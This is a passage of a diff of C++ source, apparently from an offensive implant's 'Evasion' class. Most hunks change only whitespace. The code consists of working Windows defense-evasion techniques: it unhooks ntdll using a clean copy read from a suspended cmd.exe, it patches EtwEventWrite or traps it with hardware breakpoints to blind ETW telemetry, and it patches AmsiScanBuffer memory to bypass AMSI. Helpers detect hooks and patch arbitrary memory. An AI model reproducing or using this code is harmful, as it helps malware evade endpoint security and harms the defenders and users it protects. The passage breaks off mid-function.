(PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); + // find .text section + for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); - if (!strcmp((char *)pImgSectionHead->Name, ".text")) - { - // prepare ntdll.dll memory region for write permissions. - VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - PAGE_EXECUTE_READWRITE, - &oldprotect); - if (!oldprotect) - { - // RWX failed! - return -1; - } + if (!strcmp((char *)pImgSectionHead->Name, ".text")) + { + // prepare ntdll.dll memory region for write permissions. + VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + PAGE_EXECUTE_READWRITE, + &oldprotect); + if (!oldprotect) + { + // RWX failed! + return -1; + } - // copy clean "syscall table" into ntdll memory - DWORD SC_start = findFirstSyscall((char *) pCache, pImgSectionHead->Misc.VirtualSize); - DWORD SC_end = findLastSysCall((char *) pCache, pImgSectionHead->Misc.VirtualSize); - - if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) - { - DWORD SC_size = SC_end - SC_start; - printf("dst (in ntdll): %p\n", ((DWORD_PTR) hNtdll + SC_start)); - printf("src (in cache): %p\n", ((DWORD_PTR) pCache + SC_start)); - printf("size: %i\n", SC_size); - memcpy( (LPVOID)((DWORD_PTR) hNtdll + SC_start), - (LPVOID)((DWORD_PTR) pCache + + SC_start), - SC_size); - } + // copy clean "syscall table" into ntdll memory + DWORD SC_start = findFirstSyscall((char *) pCache, pImgSectionHead->Misc.VirtualSize); + DWORD SC_end = findLastSysCall((char *) pCache, pImgSectionHead->Misc.VirtualSize); + + if (SC_start != 0 && SC_end != 0 && SC_start < SC_end) + { + DWORD SC_size = SC_end - SC_start; + printf("dst (in ntdll): %p\n", ((DWORD_PTR) hNtdll + SC_start)); + printf("src (in cache): %p\n", ((DWORD_PTR) pCache + SC_start)); + printf("size: %i\n", SC_size); + memcpy( (LPVOID)((DWORD_PTR) hNtdll + SC_start), + (LPVOID)((DWORD_PTR) pCache + + SC_start), + SC_size); + } - // restore original protection settings of ntdll - VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - oldprotect, - &oldprotect); - if (!oldprotect) - { - // it failed - return -1; - } - return 0; - } - } - - // failed? .text not found! - return -1; + // restore original protection settings of ntdll + VirtualProtect((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + oldprotect, + &oldprotect); + if (!oldprotect) + { + // it failed + return -1; + } + return 0; + } + } + + // failed? .text not found! + return -1; } int Evasion::unhookPerunsFart(std::string& result) { - STARTUPINFOA si = { 0 }; - PROCESS_INFORMATION pi = { 0 }; - BOOL success = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); - if (success == FALSE) - { - result+="Failed to CreateProcess."; - return -1; - } + STARTUPINFOA si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + BOOL success = CreateProcessA(NULL, (LPSTR)"cmd.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, "C:\\Windows\\System32\\", &si, &pi); + if (success == FALSE) + { + result+="Failed to CreateProcess."; + return -1; + } - // get the size of ntdll module in memory - char * pNtdllAddr = (char *) GetModuleHandle("ntdll.dll"); - IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pNtdllAddr; - IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pNtdllAddr + pDosHdr->e_lfanew); - IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader; - - SIZE_T ntdll_size = pOptionalHdr->SizeOfImage; - - // allocate local buffer to hold temporary copy of clean ntdll from remote process - LPVOID pCache = VirtualAlloc(NULL, ntdll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - SIZE_T bytesRead = 0; - if (!ReadProcessMemory(pi.hProcess, pNtdllAddr, pCache, ntdll_size, &bytesRead)) - { - result+="Failed to CreateProcess."; - return -1; - } - - TerminateProcess(pi.hProcess, 0); - - // remove hooks - unsigned char sNtdll[] = "ntdll.dll"; - int ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pCache); - if(ret!=0) - result+="Failed"; - else - result+="Success"; + // get the size of ntdll module in memory + char * pNtdllAddr = (char *) GetModuleHandle("ntdll.dll"); + IMAGE_DOS_HEADER * pDosHdr = (IMAGE_DOS_HEADER *) pNtdllAddr; + IMAGE_NT_HEADERS * pNTHdr = (IMAGE_NT_HEADERS *) (pNtdllAddr + pDosHdr->e_lfanew); + IMAGE_OPTIONAL_HEADER * pOptionalHdr = &pNTHdr->OptionalHeader; + + SIZE_T ntdll_size = pOptionalHdr->SizeOfImage; + + // allocate local buffer to hold temporary copy of clean ntdll from remote process + LPVOID pCache = VirtualAlloc(NULL, ntdll_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + SIZE_T bytesRead = 0; + if (!ReadProcessMemory(pi.hProcess, pNtdllAddr, pCache, ntdll_size, &bytesRead)) + { + result+="Failed to CreateProcess."; + return -1; + } + + TerminateProcess(pi.hProcess, 0); + + // remove hooks + unsigned char sNtdll[] = "ntdll.dll"; + int ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pCache); + if(ret!=0) + result+="Failed"; + else + result+="Success"; - return 0; + return 0; } int SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP) { - CONTEXT ctx = { 0 }; - ctx.ContextFlags = CONTEXT_ALL; + CONTEXT ctx = { 0 }; + ctx.ContextFlags = CONTEXT_ALL; - GetThreadContext(thrd, &ctx); - - if (setBP == TRUE) { - ctx.Dr0 = addr; - ctx.Dr7 |= (1 << 0); // Local DR0 breakpoint - ctx.Dr7 &= ~(1 << 16); // break on execution - ctx.Dr7 &= ~(1 << 17); + GetThreadContext(thrd, &ctx); + + if (setBP == TRUE) { + ctx.Dr0 = addr; + ctx.Dr7 |= (1 << 0); // Local DR0 breakpoint + ctx.Dr7 &= ~(1 << 16); // break on execution + ctx.Dr7 &= ~(1 << 17); - } - else if (setBP == FALSE) { - ctx.Dr0 = NULL; - ctx.Dr7 &= ~(1 << 0); - } + } + else if (setBP == FALSE) { + ctx.Dr0 = NULL; + ctx.Dr7 &= ~(1 << 0); + } - ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; - SetThreadContext(thrd, &ctx); + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + SetThreadContext(thrd, &ctx); - return 0; + return 0; } LONG WINAPI handlerETW(EXCEPTION_POINTERS * ExceptionInfo) { - if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) - { - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); - if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) - { - printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); - printf("(1): %#d | ", ExceptionInfo->ContextRecord->Rcx); - printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); - printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); - printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); - printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); - - printf("EtwEventWrite called!\n"); - - // continue the execution - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution - //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - } - return EXCEPTION_CONTINUE_EXECUTION; - } - return EXCEPTION_CONTINUE_SEARCH; + if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) + { + printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); + printf("(1): %#d | ", ExceptionInfo->ContextRecord->Rcx); + printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); + printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); + printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); + printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); + + printf("EtwEventWrite called!\n"); + + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer + } + return EXCEPTION_CONTINUE_EXECUTION; + } + return EXCEPTION_CONTINUE_SEARCH; } int disableETW(void) { - bool isPatchEtw = false; - bool isHwBp = true; - if(isPatchEtw) - { - unsigned char sEtwEventWrite[] = "EtwEventWrite"; - void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite); - - DWORD oldprotect = 0; - // do you crash if the code is executed while not executable? - VirtualProtect(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); + bool isPatchEtw = false; + bool isHwBp = true; + if(isPatchEtw) + { + unsigned char sEtwEventWrite[] = "EtwEventWrite"; + void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite); + + DWORD oldprotect = 0; + // do you crash if the code is executed while not executable? + VirtualProtect(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); - #ifdef _WIN64 - memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret - #else - memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 - #endif + #ifdef _WIN64 + memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret + #else + memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 + #endif - VirtualProtect(pEventWrite, 4096, oldprotect, &oldprotect); - FlushInstructionCache(GetCurrentProcess(), pEventWrite, 4096); - } - // TODO - else if(isHwBp) - { - AddVectoredExceptionHandler(0, &handlerETW); + VirtualProtect(pEventWrite, 4096, oldprotect, &oldprotect); + FlushInstructionCache(GetCurrentProcess(), pEventWrite, 4096); + } + // TODO + else if(isHwBp) + { + AddVectoredExceptionHandler(0, &handlerETW); - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); - DWORD64 dword64Address = reinterpret_cast(baseAddress); + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); + DWORD64 dword64Address = reinterpret_cast(baseAddress); - SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); - } + SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); + } - return 0; + return 0; } std::string hookChecker(const HMODULE hHookedDll, const LPVOID pMapping) { - // Get information from about function from the mapping of the new dll - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); + // Get information from about function from the mapping of the new dll + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); - std::string hookedFunctions; - if (pImgNTHead->Signature != IMAGE_NT_SIGNATURE) - { - return hookedFunctions; - } + std::string hookedFunctions; + if (pImgNTHead->Signature != IMAGE_NT_SIGNATURE) + { + return hookedFunctions; + } - PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pMapping + pImgNTHead->OptionalHeader.DataDirectory[0].VirtualAddress); + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pMapping + pImgNTHead->OptionalHeader.DataDirectory[0].VirtualAddress); - PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfFunctions); - PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNames); - PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNameOrdinals); + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNameOrdinals); - for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) - { - PCHAR pczFunctionName = (PCHAR)((PBYTE)pMapping + pdwAddressOfNames[cx]); - PVOID pFunctionAddress = (PBYTE)pMapping + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) + { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pMapping + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pMapping + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; - PVOID pFunctionAddressHookedDll = (PBYTE)hHookedDll + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; - - if (*((PBYTE)pFunctionAddress) == *((PBYTE)pFunctionAddressHookedDll) - && *((PBYTE)pFunctionAddress + 1) == *((PBYTE)pFunctionAddressHookedDll + 1) - && *((PBYTE)pFunctionAddress + 2) == *((PBYTE)pFunctionAddressHookedDll + 2) - && *((PBYTE)pFunctionAddress + 3) == *((PBYTE)pFunctionAddressHookedDll + 3) - && *((PBYTE)pFunctionAddress + 6) == *((PBYTE)pFunctionAddressHookedDll + 6) - && *((PBYTE)pFunctionAddress + 7) == *((PBYTE)pFunctionAddressHookedDll + 7)) - { - // printf("[+] function %s clean\n", pczFunctionName); - } - else - { - std::string msg="[-] function "; - msg+=pczFunctionName; - msg+=" hooked\n"; - hookedFunctions+=msg; - } - } + PVOID pFunctionAddressHookedDll = (PBYTE)hHookedDll + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + if (*((PBYTE)pFunctionAddress) == *((PBYTE)pFunctionAddressHookedDll) + && *((PBYTE)pFunctionAddress + 1) == *((PBYTE)pFunctionAddressHookedDll + 1) + && *((PBYTE)pFunctionAddress + 2) == *((PBYTE)pFunctionAddressHookedDll + 2) + && *((PBYTE)pFunctionAddress + 3) == *((PBYTE)pFunctionAddressHookedDll + 3) + && *((PBYTE)pFunctionAddress + 6) == *((PBYTE)pFunctionAddressHookedDll + 6) + && *((PBYTE)pFunctionAddress + 7) == *((PBYTE)pFunctionAddressHookedDll + 7)) + { + // printf("[+] function %s clean\n", pczFunctionName); + } + else + { + std::string msg="[-] function "; + msg+=pczFunctionName; + msg+=" hooked\n"; + hookedFunctions+=msg; + } + } - return hookedFunctions; + return hookedFunctions; } static int UnhookDll(const HMODULE hHookedDll, const LPVOID pMapping) { - // UnhookDll() finds .text segment of fresh loaded copy of dll and copies over the hooked one - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); + // UnhookDll() finds .text segment of fresh loaded copy of dll and copies over the hooked one + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); - // find .text section - for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + - ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); + // find .text section + for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + + ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); - if (!strcmp((char *) pImgSectionHead->Name, ".text")) - { - // prepare dll memory region for write permissions. - VirtualProtect((LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - PAGE_EXECUTE_READWRITE, - &oldprotect); - if (!oldprotect) - { - return -1; - } + if (!strcmp((char *) pImgSectionHead->Name, ".text")) + { + // prepare dll memory region for write permissions. + VirtualProtect((LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + PAGE_EXECUTE_READWRITE, + &oldprotect); + if (!oldprotect) + { + return -1; + } - // copy fresh .text section into dll memory - memcpy( (LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize); + // copy fresh .text section into dll memory + memcpy( (LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize); - // restore original protection settings of dll memory - VirtualProtect((LPVOID)((DWORD_PTR)hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - oldprotect, - &oldprotect); - - if (!oldprotect) - { - return -1; - } - return 0; - } - } + // restore original protection settings of dll memory + VirtualProtect((LPVOID)((DWORD_PTR)hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + oldprotect, + &oldprotect); + + if (!oldprotect) + { + return -1; + } + return 0; + } + } - return -1; + return -1; } @@ -692,26 +692,26 @@ int findAndPatchStringInMemory(const char* target, const char* patch, void* excl MEMORY_BASIC_INFORMATION mbi; char* address = 0; size_t targetLength = std::strlen(target); - size_t patchLength = std::strlen(patch); + size_t patchLength = std::strlen(patch); - int nbPatchApplied = 0; + int nbPatchApplied = 0; while (address < sysInfo.lpMaximumApplicationAddress) - { + { if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // only check for read-write memory + { + // only check for read-write memory if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READWRITE)) - { + { char* buffer = new char[mbi.RegionSize]; SIZE_T bytesRead; if (ReadProcessMemory(GetCurrentProcess(), address, buffer, mbi.RegionSize, &bytesRead)) - { + { for (size_t i = 0; i <= bytesRead - targetLength; ++i) - { + { if (std::memcmp(buffer + i, target, targetLength) == 0 && (exclusion == nullptr || address + i != exclusion)) - { - memcpy( (void*)(address + i), (void*)(patch), patchLength); - nbPatchApplied++; + { + memcpy( (void*)(address + i), (void*)(patch), patchLength); + nbPatchApplied++; } } } @@ -726,100 +726,100 @@ int findAndPatchStringInMemory(const char* target, const char* patch, void* excl void* findStringInMemory(const char* target, void* startAddress, int lenght) { - char* address = (char*)startAddress; - size_t targetLength = std::strlen(target); + char* address = (char*)startAddress; + size_t targetLength = std::strlen(target); - for (size_t i = 0; i <= lenght - targetLength; ++i) - { - if (std::memcmp(address + i, target, targetLength) == 0) - { - return (void*)(address+i); - } - } - return nullptr; + for (size_t i = 0; i <= lenght - targetLength; ++i) + { + if (std::memcmp(address + i, target, targetLength) == 0) + { + return (void*)(address+i); + } + } + return nullptr; } LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo) { - if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) - { - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) - { - // printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); - // printf("(1): %#d | ", ExceptionInfo->ContextRecord->Rcx); - // printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); - // printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); - // printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); - // printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); - - // printf("AmsiScanBuffer called!\n"); - - // continue the execution - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution - //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - } - return EXCEPTION_CONTINUE_EXECUTION; - } - return EXCEPTION_CONTINUE_SEARCH; + if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) + { + // printf("[!] Exception (%#llx)! Params:\n", ExceptionInfo->ExceptionRecord->ExceptionAddress); + // printf("(1): %#d | ", ExceptionInfo->ContextRecord->Rcx); + // printf("(2): %#llx | ", ExceptionInfo->ContextRecord->Rdx); + // printf("(3): %#llx | ", ExceptionInfo->ContextRecord->R8); + // printf("(4): %#llx | ", ExceptionInfo->ContextRecord->R9); + // printf("RSP = %#llx\n", ExceptionInfo->ContextRecord->Rsp); + + // printf("AmsiScanBuffer called!\n"); + + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer + } + return EXCEPTION_CONTINUE_EXECUTION; + } + return EXCEPTION_CONTINUE_SEARCH; } int Evasion::amsiBypass(std::string& result) { - bool isPatchContext = false; - bool isHwBp = false; - bool codePatch = true; - // only work for the curent thread which is not ideal - if(isPatchContext) - { - string target = "AMSI\0\0\0\0"; - string patch = "ASM"; - int nbPatchApplied = findAndPatchStringInMemory(target.c_str(), patch.c_str(), (void*)(&target)); + bool isPatchContext = false; + bool isHwBp = false; + bool codePatch = true; + // only work for the curent thread which is not ideal + if(isPatchContext) + { + string target = "AMSI\0\0\0\0"; + string patch = "ASM"; + int nbPatchApplied = findAndPatchStringInMemory(target.c_str(), patch.c_str(), (void*)(&target)); - if(nbPatchApplied) - result+="Success"; - else - result+="Failed"; - } - // only work for the curent thread which is not ideal - else if(isHwBp) - { - AddVectoredExceptionHandler(1, &handlerAmsi); + if(nbPatchApplied) + result+="Success"; + else + result+="Failed"; + } + // only work for the curent thread which is not ideal + else if(isHwBp) + { + AddVectoredExceptionHandler(1, &handlerAmsi); - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - DWORD64 dword64Address = reinterpret_cast(baseAddress); + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); + DWORD64 dword64Address = reinterpret_cast(baseAddress); - SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); - } - else if(codePatch) - { - std::string target = "AMSI"; - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - int lenght = 0x100; + SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); + } + else if(codePatch) + { + std::string target = "AMSI"; + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); + int lenght = 0x100; - void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); + void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); - if(address) - { - DWORD oldprotect = 0; - VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); + if(address) + { + DWORD oldprotect = 0; + VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); - std::string patch = "ASMI"; - memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); + std::string patch = "ASMI"; + memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); - VirtualProtect(address, 1024, oldprotect, &oldprotect); - result+="Success"; - } - else - { - result+="Failed"; - } - } + VirtualProtect(address, 1024, oldprotect, &oldprotect); + result+="Success"; + } + else + { + result+="Failed"; + } + } - return 1; + return 1; } @@ -846,16 +846,16 @@ std::string EnumerateLoadedModules() PLIST_ENTRY pListHead = &pLdr->InLoadOrderModuleList; PLIST_ENTRY pListEntry = pListHead->Flink; - std::string loadedModules; + std::string loadedModules; while (pListEntry != pListHead) - { + { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - loadedModules += wstringToString(pEntry->FullDllName.Buffer); - loadedModules += "\n"; + loadedModules += wstringToString(pEntry->FullDllName.Buffer); + loadedModules += "\n"; pListEntry = pListEntry->Flink; } - return loadedModules; + return loadedModules; } @@ -864,7 +864,7 @@ std::string EnumerateExports(const char* moduleName) // Get the base address of the module BYTE* baseAddress = (BYTE*)GetModuleHandleA(moduleName); if (!baseAddress) - { + { return "Failed to get module handle"; } @@ -883,33 +883,33 @@ std::string EnumerateExports(const char* moduleName) WORD* ordinals = (WORD*)(baseAddress + exportDir->AddressOfNameOrdinals); // Enumerate the exported functions - std::string exportedFunctions; + std::string exportedFunctions; for (DWORD i = 0; i < exportDir->NumberOfNames; i++) - { + { const char* functionName = (const char*)(baseAddress + names[i]); DWORD64 functionAddress = (DWORD64)(baseAddress + functions[ordinals[i]]); - std::stringstream ss; + std::stringstream ss; ss << "0x" << std::hex << functionAddress; std::string hexAddress = ss.str(); - exportedFunctions += functionName; - exportedFunctions += " at address: "; - exportedFunctions += hexAddress; - exportedFunctions += "\n"; + exportedFunctions += functionName; + exportedFunctions += " at address: "; + exportedFunctions += hexAddress; + exportedFunctions += "\n"; } - return exportedFunctions; + return exportedFunctions; } int Evasion::introspection(std::string& result, std::string& moduleName) { - if(moduleName.size()>0) - result = EnumerateExports(moduleName.c_str()); - else - result = EnumerateLoadedModules(); - return 0; + if(moduleName.size()>0) + result = EnumerateExports(moduleName.c_str()); + else + result = EnumerateLoadedModules(); + return 0; } @@ -926,7 +926,7 @@ std::string hexStringToBytes(const std::string& hexString) { std::string bytes; for (size_t i = 0; i < hexString.length(); i += 4) - { + { // Extract the hex byte (skip the "\x" prefix) std::string hexByte = hexString.substr(i + 2, 2); // Convert the hex byte to an integer @@ -944,7 +944,7 @@ std::string stringToHexFormat(const std::string& input) { std::ostringstream oss; for (unsigned char c : input) - { + { oss << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast(c); } return oss.str(); @@ -955,55 +955,55 @@ std::string stringToHexFormat(const std::string& input) // patch: \x90\x90\x90\x90 int Evasion::patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch) { - void* address = hexStringToPointer(hexAddress); - std::string bytes = hexStringToBytes(patch); + void* address = hexStringToPointer(hexAddress); + std::string bytes = hexStringToBytes(patch); - MEMORY_BASIC_INFORMATION mbi; - size_t patchLength = std::strlen(bytes.c_str()); + MEMORY_BASIC_INFORMATION mbi; + size_t patchLength = std::strlen(bytes.c_str()); - if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // check if write memory + if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) + { + // check if write memory if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) - { - memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); + { + memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); } - else - { - DWORD oldprotect = 0; - VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); + else + { + DWORD oldprotect = 0; + VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); - memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); + memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); - VirtualProtect(address, 1024, oldprotect, &oldprotect); + VirtualProtect(address, 1024, oldprotect, &oldprotect); } } - return 0; + return 0; } int Evasion::readMemory(std::string& result, const std::string& hexAddress, const int size) { - void* address = hexStringToPointer(hexAddress); - MEMORY_BASIC_INFORMATION mbi; - size_t bytesRead = 0; + void* address = hexStringToPointer(hexAddress); + MEMORY_BASIC_INFORMATION mbi; + size_t bytesRead = 0; - if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // check if read memory - if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & 